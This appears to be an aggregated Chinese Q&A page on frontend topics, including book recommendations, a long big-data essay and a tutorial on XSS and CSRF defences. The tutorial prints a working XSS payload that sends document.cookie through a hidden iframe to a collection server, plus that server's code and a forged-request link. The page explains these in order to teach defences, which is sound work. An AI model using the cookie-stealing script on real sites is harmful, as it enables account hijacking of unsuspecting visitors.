前端豆瓣

Ⅲ python可以做前端吗

可以做前端开发但是还是需要javascript的辅助。python并不能直接在浏览器运行，所以有很多功能需要javascript来做，不过如果只是基本的显示和表格操作的话python是可以完成的。

Ⅳ 《现代前端技术解析》epub下载在线阅读，求百度网盘云资源

《现代前端技术解析》（张成文）电子书网盘下载免费在线阅读

资源链接：

链接：

书名：现代前端技术解析

作者：张成文

豆瓣评分：8.8

出版社：电子工业出版社

出版年份：2017-4-1

页数：340

内容简介：

这是一本以现代前端技术思想与理论为主要内容的书。前端技术发展迅速，涉及的技术点很多，我们往往需要阅读很多书籍才能理解前端技术的知识体系。《现代前端技术解析》在前端知识体系上做了很好的总结和梳理，涵盖了现代前端技术绝大部分的知识内容，起到一个启蒙作用，能帮助读者快速把握前端技术的整个脉络，培养更完善的体系化思维，掌握更多灵活的前端代码架构方法，使读者获得成为高级前端工程师或架构师所必须具备的思维和能力。

作者简介：

张成文（ouvenzhang），2014年毕业于华中科技大学，前腾讯IMWeb团队前端工程师。在前端技术领域具有极高的职业能力和探究精神。对响应式设计、工程构建组件化、MV*设计实现、前端优化、ES6体系开发、前端数据分析、前后端同构和前端新领域等均有较深入的研究与实践经验。

Ⅳ 前端书籍推荐

初级读物

《JS高级程序设计》：一本非常完整的经典入门书籍，被誉为JS圣经之一，详解的非常详细，最新版第三版已经发布了，建议购买。

《JS王者归来》网络的一个Web开发项目经理写的，作为初学者准备的入门级教程也不错。

中级读物

《JS权威指南》：另外一本JS圣经，讲解的也非常详细，属于中级读物，建议观看。

《JS.The.Good.Parts》：Yahoo大牛，JS精神领袖Douglas Crockford的大作，虽然才100多页，但是字字珠玑啊!强烈建议阅读。

《高性能JS》：《JS高级程序设计》作者Nicholas C. Zakas的又一大作。

《Eloquent JS》：这本书才200多页，非常短小，通过几个非常经典的例子(艾米丽姨妈的猫、悲惨的隐士、模拟生态圈、推箱子游戏等等)来介绍JS方方面面的知识和应用方法。

高级读物

《JSPatterns 》：书中介绍到了各种经典的模式，如构造函数、单例、工厂等等，值得学习。

《Pro.JS.Design.Patterns》：Apress出版社讲解JS设计模式的书，非常不错。

《DevelopingJSWeb Applications》：构建富应用的好书，针对MVC模式有较为深入的讲解，同时也对一些流程的库进行了讲解。

《Developing Large Web Applications》：不仅有JS方面的介绍，还有CSS、HTML方面的介绍，但是介绍的内容却都非常不错，真正考虑到了一个大型的Web程序下，如何进行JS架构设计，值得一读。

结语

要做优秀的前端工程师，还需要继续努力：《高性能网站建设指南》、《Yahoo工程师的网站性能优化的建议》、“YSLOW”性能优化建议、《网站重构》、《Web开发敏捷之道》、“ jQuery 库”、“前端框架”、“HTML5”、“CSS3”。。。 这些都要深入研究!

万事开头难！如果你能到这个境界，剩下的路自己就可以走下去了。

Ⅵ 如何帮助前端新人入门和提高

第一个月主要让他们对一些专业术语和前端整体的知识体系做了概览（包括html、css、js、dom、bom等），当然这里必须要去了解的是W3C的诞生以及它的发展历程，还有各大浏览器厂商的发展历程以及当今不断变化的市场格局。前半个月对html所有的标签做一个系统的学习，并对常用的标签(div\p\h1-h6\span\img\ul\dl\ol\li)做重点的理解和DEMO书写，这里我特别传达了语义化的概念给他们希望他们合理的使用标签，而不是根据自己的心情随意的使用标签。后半个月对css的所有属性做通览，并对常用的CSS属性做重点理解和实战，这里我没有让他们对所有的CSS属性做很详细的了解（有些CSS属性可能我们自己一辈子都不会用到，以后遇到的时候学会查API即可）。这过程中还传达了hack这个概念给他们，以及对待hack的态度和常用实例。

第二个月主要是JS的学习（话说一个月学习JS真的是太难太难了，虽然是个脚本语言但要注意的地方特别多），首先对JS基础的一些东西的学习（词法结构、数据类型和值、变量、表达式和运算符、语句等等一些基础知识），在学JS期间我发现他们明显比第一个月学习html和css来的烦躁，但好得他们有学过编程，有些基础。基础学好之后，就是客户端的一些知识的学习，dom\bom等等，如何对dom操作，关于性能这方面的东西暂时没有传达给他们，等他们达到一定知识程度上我希望他们学习如何优化。后半个月就是让他们接触一个JS框架，并学会高效快速的写出页面交互代码。

第三个月基本就是实战，html+css+js，每周基本都要写好几个页面，然后我会带他们一起去review，并指出所存在的问题，顺便让他们自己记录下，总结，下次再写页面时避免。

Ⅶ 介绍有关计算机的一种前端技术

大数据基础概念

“很多人还没搞清楚什么是PC互联网，移动互联网来了，我们还没搞清楚移动互联的时候，大数据时代又来了。”——马云卸任演讲

本文尝试从三大产业的角度将大数据的核心商业价值分类讨论。
首先例举一些大数据的典型应用，然后解释大数据的定义，最后总结大数据的价值。

我们知道：
第一次工业革命以煤炭为基础，蒸汽机和印刷术为标志，
第二次工业革命以石油为基础，内燃机和电信技术为标志，
第三次工业革命以核能基础，互联网技术为标志，
第四次工业革命以可再生能源为基础，_________为标志。
空白处你会填上什么？欢迎大家讨论。但是目前可以预测的是，数据和内容作为互联网的核心，不论是传统行业还是新型行业，谁率先与互联网融合成功，能够从大数据的金矿中发现暗藏的规律，就能够抢占先机，成为技术改革的标志。

一、大数据的应用
大数据挖掘商业价值的方法主要分为四种：
客户群体细分，然后为每个群体量定制特别的服务。
模拟现实环境，发掘新的需求同时提高投资的回报率。
加强部门联系，提高整条管理链条和产业链条的效率。
降低服务成本，发现隐藏线索进行产品和服务的创新。

Mckinsey列出了各个行业利用大数据价值的难易度以及发展潜力。《Big data: The next frontier for innovation, competition, and proctivity》

各种Data之间的关系图，注意Open Data是完全包含了Open government data（政府开放数据）

Mckinsey也列出了Open Data时代里七大行业潜在的经济价值，自上而下分别是教育，运输，消费品、电力、石油与天然气、医疗护理、消费金融。（感谢知友安阳提供的补充链接资料）

大数据的类型大致可分为三类：
传统企业数据（Traditional enterprise data）：包括 CRM systems的消费者数据，传统的ERP数据，库存数据以及账目数据等。
机器和传感器数据（Machine-generated /sensor data）：包括呼叫记录（Call Detail Records），智能仪表，工业设备传感器，设备日志（通常是Digital exhaust），交易数据等。
社交数据（Social data）：包括用户行为记录，反馈数据等。如Twitter，Facebook这样的社交媒体平台。

从理论上来看：所有产业都会从大数据的发展中受益。但由于数据缺乏以及从业人员本身的原因，第一、第二产业的发展速度相对于第三产业来说会迟缓一些。

(2).第二产业
2013年9月，工业和信息化部发布了《关于印发信息化和工业化深度融合专项行动计划（2013-2018年）》的通知。明确提出推动物联网在工业领域的集成创新和应用：
实施物联网发展专项，在重点行业组织开展试点示范，以传感器和传感器网络、RFID、工业大数据的应用为切入点，重点支持生产过程控制、生产环境检测、制造供应链跟踪、远程诊断管理等物联网应用，促进经济效益提升、安全生产和节能减排。

大数据的业务多是数据驱动型，具有数据量大、种类多、实时性高的特点。工业企业对数据的记录以往看来主要分为两种方法：传统的纸笔和Excel电子表格记录。这些操作起来看似简单的数据管理方式为企业生产及质量监控埋下了巨大的隐患，也让数据挖掘无从谈起。

随着信息化与工业化的融合发展，信息技术渗透到了工业企业产业链的各个环节。例如Sensor、RFID、Barcode、物联网等技术已经在企业中得到初步应用，工业大数据也开始逐渐得到积累。企业中生产线高速运转时机器所产生的数据量不亚于计算机数据，而且数据类型多是非结构化数据，对数据的实时性要求也更高。因此工业大数据所面临的问题和挑战很多，所以通用电气公司（General Electric）的副总裁兼全球技术总监William Ruh认为相对于工业大数据来说，工业互联网（Instrial Internet）才是当前急需的，因为大数据本身并没有让信息的提取更加智能，业务比数据本身更加重要。他举了一个核磁共振成像扫描的例子：
Here’s an example. An MRI scan is the best way to see inside the human body. While effective in helping to diagnose multiple sclerosis, brain tumors, torn ligaments and strokes, the data proced by an MRI machine is disconnected from the person that needs it the most.
At a very simplistic level, there are many indivials working as a team to make the scan happen. A nurse administers medications or contrast agents that may be needed for the exam; an MRI technologist operates the scanner; and a radiologist identifies the imaging sequences to be used and interprets the images. This information is then given to the nurse, who then passes it to the primary doctor to review and take action accordingly. This is Big Data, but it is not making information more intelligent.

又如在工业中，压力、温度等数据的特点是需要语境才能理解的。燃气轮机排气装置上的温度读数与一台机车的内部温度是完全不同的。燃气轮机改善热敷需要使用非常复杂的算法运行模型。在笔记本电脑上，一个典型的查询要获得答案一般需要三个星期。在基于大数据的分布式系统上发布同样的查询执行一种计算只需要不到一秒钟。

第三方认证机构（TÜV NORD GROUP），工业
德国汉德技术监督服务有限公司的前身是德国锅炉检验协会（简称TÜV）早在1869年，德国锅炉检验协会就承担了德国国内所有锅炉运行安全的检验工作，保证了锅炉生产的安全。渐渐的，德国锅炉检验协会取得了德国政府的授权，开展对其他产品的检验工作，从采矿，电力系统开始，到压力容器，机动车辆，医疗设备，环境保护，宇航工业，医疗产品等等，现在的德国汉德技术监督服务有限公司已经成为了许许多多产品的安全代号。主要体系认证包括企业质量管理体系，生产环境体系，生产碳排放方案等。TÜV当前从建筑绿色标准体系方面提出了对于大数据能源管理的探索，以微软新总部，蒂森克虏伯电梯总部为例，在整个项目实施中引入大数据能源管理，在建筑的设计规划阶段、施工阶段、运营阶段等多个阶段通过数据化的能源管理系统，实现建筑的低碳、绿色、智能。

工业自动化软件商（Wonderware ），工业
Wonderware作为系统软件涉及的专业企业，对于大数据的计算和运用是从比较“IT”的角度出发的。Wonderware 的实时数据管理软件能够提供一个工厂所需要的从建立到报废的所有实时数据。目前已经退出移动版本，工程总监在手机上就能够随时随地监控设备的运行状况。目前全球超过三分之一的工厂应用Wonderware公司的软件解决方案。

了解更多：
大数据在电力行业的应用前景有哪些？

(3).第三产业
这一个部分的内容比较多。这里只提出一些典型的应用例子，欢迎补充。
健康与医疗：Fitbit® Official Site: Flex, One and Zip Wireless Activity and Sleep Trackers的健身腕带可以收集有关我们走路或者慢跑的数据，例如行走步数、卡路里消耗、睡眠时长等数据与健康记录来改善我们的健康状况；Early Detection of Patient Deterioration等公司正在开发床垫监测传感器，自动监测和记录心脏速率、呼吸速率、运动和睡眠活动。该传感器收集的数据以无线方式被发送到智能手机和平板电脑进行进一步分析；美国公共卫生协会（APHA: American Public Health Association）开发Flu Near You用来的症状，通过大数据分析生成报告显示用户所在地区的流感活动。

视频：互联网电视能够追踪你正在看的内容，看了多长时间，甚至能够识别多少人坐在电视机前，来确定这个频道的流行度。Netflix 美国国内规模最大的商业视频流供应商，收集的数据包括用户在看什么、喜欢在什么时段观看、在哪里观看以及使用哪些设备观看等。甚至记录用户在哪视频的哪个时间点后退、快进或者暂停，乃至看到哪里直接将视频关掉等信息。典型的应用是Netflix公司利用数据说服BBC重新翻拍了电视连结剧《纸牌屋》，而且成功的挖掘出演员Kevin Spacey和导演David Fincher的支持者与原剧集粉丝的关联性，确定新剧拍摄的最佳人选。
When the program, a remake of a BBC miniseries, was up for purchase in 2011 with David Fincher and Kevin Spacey attached, the folks at Netflix simply looked at their massive stash of data. Subscribers who watched the original series, they found, were also likely to watch movies directed by David Fincher and enjoy ones that starred Kevin Spacey. Considering the material and the players involved, the company was sure that an audience was out there.

交通：《车来了》通过分析公交车上GPS定位系统每天的位置和时间数据，结合时刻表预测出每一辆公交车的到站时间；WNYC开发的Transit Time NYC通过开源行程平台（Github：OpenTripPlanner和MTA ）获取的数据将纽约市划分成2930个六边形，模拟出从每一个六边形中点到边缘的时间（地铁和步行，时间是上午九点），最终建模出4290985条虚拟线路。用户只需点击地图或者输入地址就能知道地铁到达每个位置的时间；实时交通数据采集商INRIX-Traffic的口号是（永不迟到！^^），通过记录每位用户在行驶过程中的实时数据例如行驶车速，所在位置等信息并进行数据汇总分析，而后计算出最佳线路，让用户能够避开拥堵。

电子商务：Decide 是一家预测商品价格并为消费者提出购买时间建议的创业公司，通过抓取亚马逊、百思买、新蛋及全球各大网站上数以十亿计的数据进行分析，最终整合在一个页面中方便消费者对比查看，并且能够预测产品的价格趋势，帮助用户确定商品的最好购买时机。已经于2013年被 eBay收购。

政治：奥巴马在总统竞选中使用大数据分析来收集选民的数据，让他可以专注于对他最感兴趣的选民，谷歌执行董事长Eric Schmidt当时向奥巴马的大数据分析团队投资数百万美元并聚拢核心成员成立了Civis Analytics咨询公司，该公司将会将在奥巴马连任竞选中所获得的经验应用到商业和非营利行业中。（了解更多可以看看MIT technology的文章The Definitive Story of How President Obama Mined Voter Data to Win A Second Term）

金融：ZestFinance | Big Data Underwriting 是由是Google的前任 CIO，Douglas Merrill创立金融数据分析服务提供商，使用机器学习算法和大数据为放款者提供承保模式，旨在为那些个人信用不良或者不满足传统银行贷款资格的个人提供服务。公司使用分析模型对每位信贷申请人的上万条原始信息数据进行分析，只需几秒时间便可以得出超过十万个行为指标。目前违约率比行业平均水平低 60%左右。另外一个不得不提到的是风险管理先驱者FICO | Predictive Analytics, Big Data Analytics and FICO Credit Scores，通过大数据分析为银行和信用卡发卡机构、保险、医疗保健、政府和零售行业提供服务。FICO 信用分计算的基本思想是：把借款人过去的信用历史资料与数据库中的全体借款人的信用习惯相比较，检查借款人的发展趋势跟经常违约、随意透支、甚至申请破产等各种陷入财务困境的借款人的发展趋势是否相似。FICO 已经为三分之二的世界 100 强银行提供服务，提高了客户忠诚度和盈利率、减少欺诈损失、管理信贷风险、满足监管与竞争要求并快速获取市场份额。想了解更多的企业可以看看附录中《经济学人》的文章《Big data: Crunching the numbers》。

电信： 美国T-mobiles采用Informatica - The Data Integration Company平台开展大数据工作，通过集成数据综合分析客户流失的原因，根据分析结果优化网络布局为客户提供了更好的体验，在一个季度内将流失率减半；韩国 SK telecom新成立一家公司SK Planet，通过大数据分析用户的使用行为，在用户做出决定之前推出符合用户兴趣的业务防止用户流失。美国AT&T 公司将记录用户在Wifi网络中的地理位置、网络浏览历史记录以及使用的应用等数据销售给广告客户。比如当用户距离商家很近时，就有可能收到该商家提供的折扣很大的电子优惠券。英国BT - Broadband公司发布了新的安全数据分析服务Assure Analytics—BT news releases，帮助企业收集、管理和评估大数据集，将这些数据通过可视化的方式呈现给企业，帮助企业改进决策。

一般来说盈利性质的商业公司和企业都不会轻易泄露自己的数据、建模方法和分析过程，所以还有很多大家不知道的神秘应用潜伏在黑暗里，如同《三体》中的”黑暗森林法则“。
宇宙就是一座黑暗森林，每个文明都是带枪的猎人，像幽灵般潜行于林间，轻轻拨开挡路的树枝，竭力不让脚步发出一点儿声音，连呼吸都必须小心翼翼：他必须小心，因为林中到处都有与他一样潜行的猎人，如果他发现了别的生命，能做的只有一件事：开枪消灭之。在这片森林中，他人就是地狱，就是永恒的威胁，任何暴露自己存在的生命都将很快被消灭，这就是宇宙文明的图景，这就是对费米悖论的解释。

二、大数据的定义
大数据(Big Data)是指“无法用现有的软件工具提取、存储、搜索、共享、分析和处理的海量的、复杂的数据集合。”业界通常用4个V(即Volume、Variety、Value、Velocity)来概括大数据的特征。

数据体量巨大(Volume)。截至目前，人类生产的所有印刷材料的数据量是200PB，而历史上全人类说过的所有的话的数据量大约是5EB(1EB=210PB)。
数据类型繁多(Variety)。相对于以往便于存储的以文本为主的结构化数据，非结构化数据越来越多，包括网络日志、音频、视频、图片、地理位置信息等，这些多类型的数据对数据的处理能力提出了更高要求。
价值密度低(Value)。价值密度的高低与数据总量的大小成反比。如何通过强大的机器算法更迅速地完成数据的价值“提纯”成为目前大数据背景下亟待解决的难题。
处理速度快(Velocity)。大数据区分于传统数据挖掘的最显着特征。根据IDC的“数字宇宙”的报告，预计到2020年，全球数据使用量将达到35.2ZB。

看看专家们怎么说。

舍恩伯格，大数据时代 (豆瓣)
不是随机样本，而是全体数据；不是精确性，而是混杂性；不是因果关系，而是相关关系。

埃里克·西格尔，大数据预测 (豆瓣)
大数据时代下的核心，预测分析已在商业和社会中得到广泛应用。随着越来越多的数据被记录和整理，未来预测分析必定会成为所有领域的关键技术。

城田真琴，大数据的冲击 (豆瓣)
从数据的类别上看，“大数据”指的是无法使用传统流程或工具处理或分析的信息。 它定义了那些超出正常处理范围和大小、迫使用户采用非传统处理方法的数据集。

三、大数据的价值
了解了大数据的典型应用，理解了大数据的定义。这时相信在每个人的心中，关于大数据的价值都有了自己的答案。

2010年《Science》上刊登了一篇文章指出，虽然人们的出行的模式有很大不同，但我们大多数人同样是可以预测的。这意味着我们能够根据个体之前的行为轨迹预测他或者她未来行踪的可能性，即93%的人类行为可预测。
Limits of Predictability in Human Mobility
A range of applications, from predicting the spread of human and electronic viruses to city planning and resource management in mobile communications, depend on our ability to foresee the whereabouts and mobility of indivials, raising a fundamental question: To what degree is human behavior predictable? Here we explore the limits of predictability in human dynamics by studying the mobility patterns of anonymized mobile phone users. By measuring the entropy of each indivial’s trajectory, we find a 93% potential predictability in user mobility across the whole user base. Despite the significant differences in the travel patterns, we find a remarkable lack of variability in predictability, which is largely independent of the distance users cover on a regular basis.

而大数定理告诉我们，在试验不变的条件下，重复试验多次，随机事件的频率近似于它概率。“有规律的随机事件”在大量重复出现的条件下，往往呈现几乎必然的统计特性。
举个例子，我们向上抛一枚硬币，硬币落下后哪一面朝上本来是偶然的，但当我们上抛硬币的次数足够多后，达到上万次甚至几十万几百万次以后，我们就会发现，硬币每一面向上的次数约占总次数的二分之一。偶然中包含着某种必然。

随着计算机的处理能力的日益强大，你能获得的数据量越大，你能挖掘到的价值就越多。

实验的不断反复、大数据的日渐积累让人类发现规律，预测未来不再是科幻电影里的读心术。

如果银行能及时地了解风险，我们的经济将更加强大。
如果政府能够降低欺诈开支，我们的税收将更加合理。
如果医院能够更早发现疾病，我们的身体将更加健康。
如果电信公司能够降低成本，我们的话费将更加便宜。
如果交通动态天气能够掌握，我们的出行将更加方便。
如果商场能够动态调整库存，我们的商品将更加实惠。

最终，我们都将从大数据分析中获益。

四、结束语。

Here's the thing about the future.关于未来有一个重要的特征
Every time you look at it,每一次你看到了未来
it changes because you looked at it.它会跟着发生改变 因为你看到了它
And that changes everything else.然后其它事也跟着一起改变了

数据本身不产生价值，如何分析和利用大数据对业务产生帮助才是关键。

祝每一个DMer都挖掘到金矿和快乐：）

Ⅷ 前端安全方面有没有了解xss和csrf如何攻防

在那个年代，大家一般用拼接字符串的方式来构造动态 sql 语句创建应用，于是 SQL 注入成了很流行的攻击方式。在这个年代， 参数化查询 已经成了普遍用法，我们已经离 SQL 注入很远了。但是，历史同样悠久的 XSS 和 CSRF 却没有远离我们。由于之前已经对 XSS 很熟悉了，所以我对用户输入的数据一直非常小心。如果输入的时候没有经过 Tidy 之类的过滤，我一定会在模板输出时候全部转义。所以个人感觉，要避免 XSS 也是很容易的，重点是要“小心”。但最近又听说了另一种跨站攻击 CSRF ，于是找了些资料了解了一下，并与 XSS 放在一起做个比较。
XSS：脚本中的不速之客
XSS 全称“跨站脚本”，是注入攻击的一种。其特点是不对服务器端造成任何伤害，而是通过一些正常的站内交互途径，例如发布评论，提交含有 JavaScript 的内容文本。这时服务器端如果没有过滤或转义掉这些脚本，作为内容发布到了页面上，其他用户访问这个页面的时候就会运行这些脚本。
运行预期之外的脚本带来的后果有很多中，可能只是简单的恶作剧——一个关不掉的窗口：
1
2
3

while (true) {
alert("你关不掉我~");
}

也可以是盗号或者其他未授权的操作——我们来模拟一下这个过程，先建立一个用来收集信息的服务器：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

#!/usr/bin/env python
#-*- coding:utf-8 -*-
"""
跨站脚本注入的信息收集服务器
"""
import bottle
app = bottle.Bottle()
plugin = bottle.ext.sqlite.Plugin(dbfile='/var/db/myxss.sqlite')
app.install(plugin)
@app.route('/myxss/')
def show(cookies, db):
SQL = 'INSERT INTO "myxss" ("cookies") VALUES (?)'
try:
db.execute(SQL, cookies)
except:
pass
return ""
if __name__ == "__main__":
app.run()

然后在某一个页面的评论中注入这段代码：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

// 用 <script type="text/javascript"></script> 包起来放在评论中
(function(window, document) {
// 构造泄露信息用的 URL
var cookies = document.cookie;
var xssURIBase = "http://192.168.123.123/myxss/";
var xssURI = xssURIBase + window.encodeURI(cookies);
// 建立隐藏 iframe 用于通讯
var hideFrame = document.createElement("iframe");
hideFrame.height = 0;
hideFrame.width = 0;
hideFrame.style.display = "none";
hideFrame.src = xssURI;
// 开工
document.body.appendChild(hideFrame);
})(window, document);

于是每个访问到含有该评论的页面的用户都会遇到麻烦——他们不知道背后正悄悄的发起了一个请求，是他们所看不到的。而这个请求，会把包含了他们的帐号和其他隐私的信息发送到收集服务器上。
我们知道 AJAX 技术所使用的 XMLHttpRequest 对象都被浏览器做了限制，只能访问当前域名下的 URL，所谓不能“跨域”问题。这种做法的初衷也是防范 XSS，多多少少都起了一些作用，但不是总是有用，正如上面的注入代码，用 iframe 也一样可以达到相同的目的。甚至在愿意的情况下，我还能用 iframe 发起 POST 请求。当然，现在一些浏览器能够很智能地分析出部分 XSS 并予以拦截，例如新版的 Firefox、Chrome 都能这么做。但拦截不总是能成功，何况这个世界上还有大量根本不知道什么是浏览器的用户在用着可怕的 IE6。从原则上将，我们也不应该把事关安全性的责任推脱给浏览器，所以防止 XSS 的根本之道还是过滤用户输入。用户输入总是不可信任的，这点对于 Web 开发者应该是常识。
正如上文所说，如果我们不需要用户输入 HTML 而只想让他们输入纯文本，那么把所有用户输入进行 HTML 转义输出是个不错的做法。似乎很多 Web 开发框架、模版引擎的开发者也发现了这一点，Django 内置模版和 Jinja2 模版总是默认转义输出变量的。如果没有使用它们，我们自己也可以这么做。PHP 可以用 htmlspecialchars 函数，Python 可以导入 cgi 模块用其中的 cgi.escape 函数。如果使用了某款模版引擎，那么其必自带了方便快捷的转义方式。
真正麻烦的是，在一些场合我们要允许用户输入 HTML，又要过滤其中的脚本。Tidy 等 HTML 清理库可以帮忙，但前提是我们小心地使用。仅仅粗暴地去掉 script 标签是没有用的，任何一个合法 HTML 标签都可以添加 onclick 一类的事件属性来执行 JavaScript。对于复杂的情况，我个人更倾向于使用简单的方法处理，简单的方法就是白名单重新整理。用户输入的 HTML 可能拥有很复杂的结构，但我们并不将这些数据直接存入数据库，而是使用 HTML 解析库遍历节点，获取其中数据（之所以不使用 XML 解析库是因为 HTML 要求有较强的容错性）。然后根据用户原有的标签属性，重新构建 HTML 元素树。构建的过程中，所有的标签、属性都只从白名单中拿取。这样可以确保万无一失——如果用户的某种复杂输入不能为解析器所识别（前面说了 HTML 不同于 XML，要求有很强的容错性），那么它不会成为漏网之鱼，因为白名单重新整理的策略会直接丢弃掉这些未能识别的部分。最后获得的新 HTML 元素树，我们可以拍胸脯保证——所有的标签、属性都来自白名单，一定不会遗漏。
现在看来，大多数 Web 开发者都了解 XSS 并知道如何防范，往往大型的 XSS 攻击（包括前段时间新浪微博的 XSS 注入）都是由于疏漏。我个人建议在使用模版引擎的 Web 项目中，开启（或不要关闭）类似 Django Template、Jinja2 中“默认转义”（Auto Escape）的功能。在不需要转义的场合，我们可以用类似 的方式取消转义。这种白名单式的做法，有助于降低我们由于疏漏留下 XSS 漏洞的风险。
另外一个风险集中区域，是富 AJAX 类应用（例如豆瓣网的阿尔法城）。这类应用的风险并不集中在 HTTP 的静态响应内容，所以不是开启模版自动转义能就能一劳永逸的。再加上这类应用往往需要跨域，开发者不得不自己打开危险的大门。这种情况下，站点的安全非常 依赖开发者的细心和应用上线前有效的测试。现在亦有不少开源的 XSS 漏洞测试软件包（似乎有篇文章提到豆瓣网的开发也使用自动化 XSS 测试），但我都没试用过，故不予评价。不管怎么说，我认为从用户输入的地方把好关总是成本最低而又最有效的做法。
CSRF：冒充用户之手
起初我一直弄不清楚 CSRF 究竟和 XSS 有什么区别，后来才明白 CSRF 和 XSS 根本是两个不同维度上的分类。XSS 是实现 CSRF 的诸多途径中的一条，但绝对不是唯一的一条。一般习惯上把通过 XSS 来实现的 CSRF 称为 XSRF。
CSRF 的全称是“跨站请求伪造”，而 XSS 的全称是“跨站脚本”。看起来有点相似，它们都是属于跨站攻击——不攻击服务器端而攻击正常访问网站的用户，但前面说了，它们的攻击类型是不同维度上的分 类。CSRF 顾名思义，是伪造请求，冒充用户在站内的正常操作。我们知道，绝大多数网站是通过 cookie 等方式辨识用户身份（包括使用服务器端 Session 的网站，因为 Session ID 也是大多保存在 cookie 里面的），再予以授权的。所以要伪造用户的正常操作，最好的方法是通过 XSS 或链接欺骗等途径，让用户在本机（即拥有身份 cookie 的浏览器端）发起用户所不知道的请求。
严格意义上来说，CSRF 不能分类为注入攻击，因为 CSRF 的实现途径远远不止 XSS 注入这一条。通过 XSS 来实现 CSRF 易如反掌，但对于设计不佳的网站，一条正常的链接都能造成 CSRF。
例如，一论坛网站的发贴是通过 GET 请求访问，点击发贴之后 JS 把发贴内容拼接成目标 URL 并访问：
http://example.com/bbs/create_post.php?title=标题&content=内容
那么，我只需要在论坛中发一帖，包含一链接：
http://example.com/bbs/create_post.php?title=我是脑残&content=哈哈
只要有用户点击了这个链接，那么他们的帐户就会在不知情的情况下发布了这一帖子。可能这只是个恶作剧，但是既然发贴的请求可以伪造，那么删帖、转帐、改密码、发邮件全都可以伪造。
如何解决这个问题，我们是否可以效仿上文应对 XSS 的做法呢？过滤用户输入， 不允许发布这种含有站内操作 URL 的链接。这么做可能会有点用，但阻挡不了 CSRF，因为攻击者可以通过 QQ 或其他网站把这个链接发布上去，为了伪装可能还使用 bit.ly 压缩一下网址，这样点击到这个链接的用户还是一样会中招。所以对待 CSRF ，我们的视角需要和对待 XSS 有所区别。CSRF 并不一定要有站内的输入，因为它并不属于注入攻击，而是请求伪造。被伪造的请求可以是任何来源，而非一定是站内。所以我们唯有一条路可行，就是过滤请求的 处理者。
比较头痛的是，因为请求可以从任何一方发起，而发起请求的方式多种多样，可以通过 iframe、ajax（这个不能跨域，得先 XSS）、Flash 内部发起请求（总是个大隐患）。由于几乎没有彻底杜绝 CSRF 的方式，我们一般的做法，是以各种方式提高攻击的门槛。
首先可以提高的一个门槛，就是改良站内 API 的设计。对于发布帖子这一类创建资源的操作，应该只接受 POST 请求，而 GET 请求应该只浏览而不改变服务器端资源。当然，最理想的做法是使用 REST 风格 的 API 设计，GET、POST、PUT、DELETE 四种请求方法对应资源的读取、创建、修改、删除。现在的浏览器基本不支持在表单中使用 PUT 和 DELETE 请求方法，我们可以使用 ajax 提交请求（例如通过 jquery-form 插件，我最喜欢的做法），也可以使用隐藏域指定请求方法，然后用 POST 模拟 PUT 和 DELETE （Ruby on Rails 的做法）。这么一来，不同的资源操作区分的非常清楚，我们把问题域缩小到了非 GET 类型的请求上——攻击者已经不可能通过发布链接来伪造请求了，但他们仍可以发布表单，或者在其他站点上使用我们肉眼不可见的表单，在后台用 js 操作，伪造请求。
接下来我们就可以用比较简单也比较有效的方法来防御 CSRF，这个方法就是“请求令牌”。读过《J2EE 核心模式》的同学应该对“同步令牌”应该不会陌生，“请求令牌”和“同步令牌”原理是一样的，只不过目的不同，后者是为了解决 POST 请求重复提交问题，前者是为了保证收到的请求一定来自预期的页面。实现方法非常简单，首先服务器端要以某种策略生成随机字符串，作为令牌（token）， 保存在 Session 里。然后在发出请求的页面，把该令牌以隐藏域一类的形式，与其他信息一并发出。在接收请求的页面，把接收到的信息中的令牌与 Session 中的令牌比较，只有一致的时候才处理请求，否则返回 HTTP 403 拒绝请求或者要求用户重新登陆验证身份。
请求令牌虽然使用起来简单，但并非不可破解，使用不当会增加安全隐患。使用请求令牌来防止 CSRF 有以下几点要注意：
虽然请求令牌原理和验证码有相似之处，但不应该像验证码一样，全局使用一个 Session Key。因为请求令牌的方法在理论上是可破解的，破解方式是解析来源页面的文本，获取令牌内容。如果全局使用一个 Session Key，那么危险系数会上升。原则上来说，每个页面的请求令牌都应该放在独立的 Session Key 中。我们在设计服务器端的时候，可以稍加封装，编写一个令牌工具包，将页面的标识作为 Session 中保存令牌的键。
在 ajax 技术应用较多的场合，因为很有请求是 JavaScript 发起的，使用静态的模版输出令牌值或多或少有些不方便。但无论如何，请不要提供直接获取令牌值的 API。这么做无疑是锁上了大门，却又把钥匙放在门口，让我们的请求令牌退化为同步令牌。
第一点说了请求令牌理论上是可破解的，所以非常重要的场合，应该考虑使用验证码（令牌的一种升级，目前来看破解难度极大），或者要求用户再次输入密码（亚马逊、淘宝的做法）。但这两种方式用户体验都不好，所以需要产品开发者权衡。
无论是普通的请求令牌还是验证码，服务器端验证过一定记得销毁。忘记销毁用过的令牌是个很低级但是杀伤力很大的错误。我们学校的选课系统就有这个 问题，验证码用完并未销毁，故只要获取一次验证码图片，其中的验证码可以在多次请求中使用（只要不再次刷新验证码图片），一直用到 Session 超时。这也是为何选课系统加了验证码，外挂软件升级一次之后仍然畅通无阻。
如下也列出一些据说能有效防范 CSRF，其实效果甚微的方式甚至无效的做法。
通过 referer 判定来源页面：referer 是在 HTTP Request Head 里面的，也就是由请求的发送者决定的。如果我喜欢，可以给 referer 任何值。当然这个做法并不是毫无作用，起码可以防小白。但我觉得性价比不如令牌。
过滤所有用户发布的链接：这个是最无效的做法，因为首先攻击者不一定要从站内发起请求（上面提到过了），而且就算从站内发起请求，途径也远远不知链接一条。比如 <img src="./create_post.php" /> 就是个不错的选择，还不需要用户去点击，只要用户的浏览器会自动加载图片，就会自动发起请求。 *在请求发起页面用 alert 弹窗提醒用户：这个方法看上去能干扰站外通过 iframe 发起的 CSRF，但攻击者也可以考虑用 window.alert = function(){}; 把 alert 弄哑，或者干脆脱离 iframe，使用 Flash 来达到目的。
